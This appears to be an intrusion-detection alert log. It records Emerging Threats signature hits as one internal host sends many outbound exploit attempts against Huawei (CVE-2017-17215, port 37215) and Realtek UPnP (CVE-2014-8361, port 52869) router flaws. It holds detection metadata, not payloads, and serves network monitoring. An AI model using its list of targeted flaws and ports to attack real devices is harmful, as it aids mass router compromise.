Timestamp:	07/20/24-23:02:07.841025
SID:	2835222
Source Port:	36792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 209.200.229.61

Timestamp:	07/20/24-23:01:04.568491
SID:	2027339
Source Port:	57152
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.158.251.34

Timestamp:	07/20/24-23:01:08.407500
SID:	2835222
Source Port:	49316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.113.83.79

Timestamp:	07/20/24-23:01:02.695891
SID:	2829579
Source Port:	47758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 143.19.210.21

Timestamp:	07/20/24-23:01:14.522654
SID:	2027339
Source Port:	35906
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 97.132.111.117

Timestamp:	07/20/24-23:01:05.576315
SID:	2027339
Source Port:	35158
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 47.131.156.7

Timestamp:	07/20/24-23:01:03.938194
SID:	2025132
Source Port:	53184
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 57.30.119.39

Timestamp:	07/20/24-23:01:14.506916
SID:	2831300
Source Port:	43206
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.20.192.113

Timestamp:	07/20/24-23:01:36.808711
SID:	2835222
Source Port:	52498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.31.110.255

Timestamp:	07/20/24-23:01:02.613456
SID:	2835222
Source Port:	37842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.61.28.16

Timestamp:	07/20/24-23:01:12.357074
SID:	2835222
Source Port:	43458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.43.91.131

Timestamp:	07/20/24-23:01:36.852816
SID:	2829579
Source Port:	44818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 138.96.171.141

Timestamp:	07/20/24-23:01:14.559539
SID:	2027339
Source Port:	59584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 103.178.1.192

Timestamp:	07/20/24-23:01:20.299062
SID:	2025132
Source Port:	38572
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.139.111.126

Timestamp:	07/20/24-23:01:25.413015
SID:	2829579
Source Port:	60734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.179.120.224

Timestamp:	07/20/24-23:01:17.730454
SID:	2829579
Source Port:	53226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.224.102.140

Timestamp:	07/20/24-23:01:22.737100
SID:	2829579
Source Port:	39954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 25.126.196.156

Timestamp:	07/20/24-23:01:32.199687
SID:	2835222
Source Port:	40884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 216.1.152.81

Timestamp:	07/20/24-23:01:14.521197
SID:	2027339
Source Port:	57054
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.193.52.48

Timestamp:	07/20/24-23:01:08.464559
SID:	2829579
Source Port:	38498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 51.169.114.105

Timestamp:	07/20/24-23:01:14.522654
SID:	2027339
Source Port:	55288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 197.103.196.150

Timestamp:	07/20/24-23:01:18.735326
SID:	2025132
Source Port:	52682
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 45.132.200.204

Timestamp:	07/20/24-23:01:32.259331
SID:	2835222
Source Port:	47720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.232.220.239

Timestamp:	07/20/24-23:01:12.539005
SID:	2829579
Source Port:	37380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 98.251.241.242

Timestamp:	07/20/24-23:01:22.753217
SID:	2829579
Source Port:	50616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 64.186.75.249

Timestamp:	07/20/24-23:01:05.597258
SID:	2025132
Source Port:	52738
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 97.115.201.63

Timestamp:	07/20/24-23:01:27.360753
SID:	2831300
Source Port:	41696
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 39.73.21.88

Timestamp:	07/20/24-23:01:12.484346
SID:	2829579
Source Port:	52828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 156.218.218.173

Timestamp:	07/20/24-23:01:14.517363
SID:	2831300
Source Port:	42476
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.137.243.27

Timestamp:	07/20/24-23:01:02.607205
SID:	2835222
Source Port:	40330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 62.204.49.132

Timestamp:	07/20/24-23:01:04.426660
SID:	2027339
Source Port:	60064
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 82.166.201.81

Timestamp:	07/20/24-23:01:06.537245
SID:	2027339
Source Port:	48938
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 161.87.144.23

Timestamp:	07/20/24-23:01:02.685657
SID:	2835222
Source Port:	56550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.120.41.0

Timestamp:	07/20/24-23:01:06.800702
SID:	2835222
Source Port:	50878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.55.93.197

Timestamp:	07/20/24-23:01:25.397771
SID:	2829579
Source Port:	57354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 122.30.247.236

Timestamp:	07/20/24-23:01:27.361992
SID:	2027339
Source Port:	53020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 223.227.5.114

Timestamp:	07/20/24-23:01:14.559539
SID:	2027339
Source Port:	36102
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 97.62.197.167

Timestamp:	07/20/24-23:01:27.361992
SID:	2027339
Source Port:	37780
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.6.247.149

Timestamp:	07/20/24-23:00:59.020228
SID:	2835222
Source Port:	44962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.235.116.70

Timestamp:	07/20/24-23:01:12.533731
SID:	2835222
Source Port:	50748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 62.126.184.91

Timestamp:	07/20/24-23:01:06.093406
SID:	2025132
Source Port:	37106
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.128.63.211

Timestamp:	07/20/24-23:01:06.808312
SID:	2829579
Source Port:	59460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 223.72.56.49

Timestamp:	07/20/24-23:01:25.389455
SID:	2835222
Source Port:	44348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.251.250.48

Timestamp:	07/20/24-23:01:08.435254
SID:	2835222
Source Port:	41996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 160.241.202.23

Timestamp:	07/20/24-23:01:05.449847
SID:	2027339
Source Port:	47076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 70.194.220.73

Timestamp:	07/20/24-23:01:14.533681
SID:	2831300
Source Port:	37950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 168.61.125.85

Timestamp:	07/20/24-23:01:14.539078
SID:	2027339
Source Port:	46688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.144.91.52

Timestamp:	07/20/24-23:01:08.392907
SID:	2835222
Source Port:	57514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 78.8.181.144

Timestamp:	07/20/24-23:01:14.544045
SID:	2027339
Source Port:	52052
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 67.52.151.110

Timestamp:	07/20/24-23:01:27.352673
SID:	2831300
Source Port:	50294
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.13.56.61

Timestamp:	07/20/24-23:01:32.267589
SID:	2829579
Source Port:	40862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.246.201.30

Timestamp:	07/20/24-23:00:59.062572
SID:	2829579
Source Port:	52346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 47.63.66.179

Timestamp:	07/20/24-23:01:02.624280
SID:	2829579
Source Port:	51372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.111.92.249

Timestamp:	07/20/24-23:01:02.607205
SID:	2829579
Source Port:	53990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.109.79.201

Timestamp:	07/20/24-23:00:59.022701
SID:	2829579
Source Port:	51088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.22.144.135

Timestamp:	07/20/24-23:01:04.848636
SID:	2829579
Source Port:	60118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 148.242.181.53

Timestamp:	07/20/24-23:01:14.525496
SID:	2027339
Source Port:	47296
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 205.67.98.173

Timestamp:	07/20/24-23:01:14.566160
SID:	2027339
Source Port:	41192
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 149.71.231.248

Timestamp:	07/20/24-23:01:32.192487
SID:	2835222
Source Port:	54900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.111.162.130

Timestamp:	07/20/24-23:01:25.449394
SID:	2829579
Source Port:	59932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 57.30.119.39

Timestamp:	07/20/24-23:01:04.444180
SID:	2025132
Source Port:	41122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 161.241.29.146

Timestamp:	07/20/24-23:01:19.166109
SID:	2025132
Source Port:	48986
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 77.220.218.149

Timestamp:	07/20/24-23:01:12.543115
SID:	2835222
Source Port:	50694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 74.253.225.130

Timestamp:	07/20/24-23:01:14.517249
SID:	2027339
Source Port:	59482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 84.205.102.154

Timestamp:	07/20/24-23:01:27.352815
SID:	2831300
Source Port:	38826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.12.134.58

Timestamp:	07/20/24-23:01:02.594487
SID:	2835222
Source Port:	47378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.244.180.181

Timestamp:	07/20/24-23:01:27.306441
SID:	2829579
Source Port:	46756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 220.26.7.227

Timestamp:	07/20/24-23:01:05.454905
SID:	2027339
Source Port:	39292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.190.13.194

Timestamp:	07/20/24-23:01:06.806392
SID:	2835222
Source Port:	48586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 119.114.133.221

Timestamp:	07/20/24-23:01:12.487419
SID:	2835222
Source Port:	53268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 109.242.201.39

Timestamp:	07/20/24-23:01:06.794922
SID:	2027339
Source Port:	35056
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.86.180.158

Timestamp:	07/20/24-23:01:12.504870
SID:	2829579
Source Port:	60776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.183.235.127

Timestamp:	07/20/24-23:01:06.823879
SID:	2835222
Source Port:	39870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.246.48.161

Timestamp:	07/20/24-23:01:08.391767
SID:	2835222
Source Port:	52516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 193.107.65.164

Timestamp:	07/20/24-23:01:04.447279
SID:	2025132
Source Port:	59784
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.70.204.142

Timestamp:	07/20/24-23:01:25.395167
SID:	2829579
Source Port:	57736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 111.163.203.195

Timestamp:	07/20/24-23:01:02.695891
SID:	2829579
Source Port:	35050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 116.156.175.81

Timestamp:	07/20/24-23:00:59.022603
SID:	2829579
Source Port:	44874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 137.137.144.212

Timestamp:	07/20/24-23:01:14.535851
SID:	2831300
Source Port:	57884
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.24.246.27

Timestamp:	07/20/24-23:01:27.232388
SID:	2835222
Source Port:	50782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 162.26.5.38

Timestamp:	07/20/24-23:01:14.546238
SID:	2831300
Source Port:	35956
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.83.107.218

Timestamp:	07/20/24-23:01:04.855996
SID:	2835222
Source Port:	58658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.105.81.146

Timestamp:	07/20/24-23:01:08.459273
SID:	2829579
Source Port:	56380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.6.129.74

Timestamp:	07/20/24-23:01:08.460982
SID:	2835222
Source Port:	43196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.92.146.26

Timestamp:	07/20/24-23:01:25.390486
SID:	2835222
Source Port:	55004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.77.5.23

Timestamp:	07/20/24-23:01:32.260443
SID:	2835222
Source Port:	56664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.74.4.205

Timestamp:	07/20/24-23:01:02.594487
SID:	2829579
Source Port:	34794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.93.117.231

Timestamp:	07/20/24-23:01:06.798323
SID:	2835222
Source Port:	57908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 71.163.97.163

Timestamp:	07/20/24-23:01:14.552891
SID:	2027339
Source Port:	53988
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 182.15.219.180

Timestamp:	07/20/24-23:01:22.736839
SID:	2835222
Source Port:	43120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.196.38.186

Timestamp:	07/20/24-23:01:32.244559
SID:	2835222
Source Port:	38710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 43.240.11.124

Timestamp:	07/20/24-23:01:06.875564
SID:	2025132
Source Port:	44272
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.83.126.46

Timestamp:	07/20/24-23:01:15.114566
SID:	2829579
Source Port:	33096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 126.209.245.77

Timestamp:	07/20/24-23:01:05.639157
SID:	2025132
Source Port:	57916
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 166.157.8.210

Timestamp:	07/20/24-23:01:14.501031
SID:	2027339
Source Port:	42946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 51.169.114.105

Timestamp:	07/20/24-23:01:05.077585
SID:	2027339
Source Port:	53172
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.107.200.173

Timestamp:	07/20/24-23:01:02.595730
SID:	2835222
Source Port:	42080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 103.233.66.3

Timestamp:	07/20/24-23:01:04.140547
SID:	2025132
Source Port:	49284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.30.126.237

Timestamp:	07/20/24-23:01:25.390960
SID:	2829579
Source Port:	50634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.3.128.173

Timestamp:	07/20/24-23:01:04.846946
SID:	2829579
Source Port:	46536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 154.157.246.72

Timestamp:	07/20/24-23:01:03.968570
SID:	2025132
Source Port:	38186
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

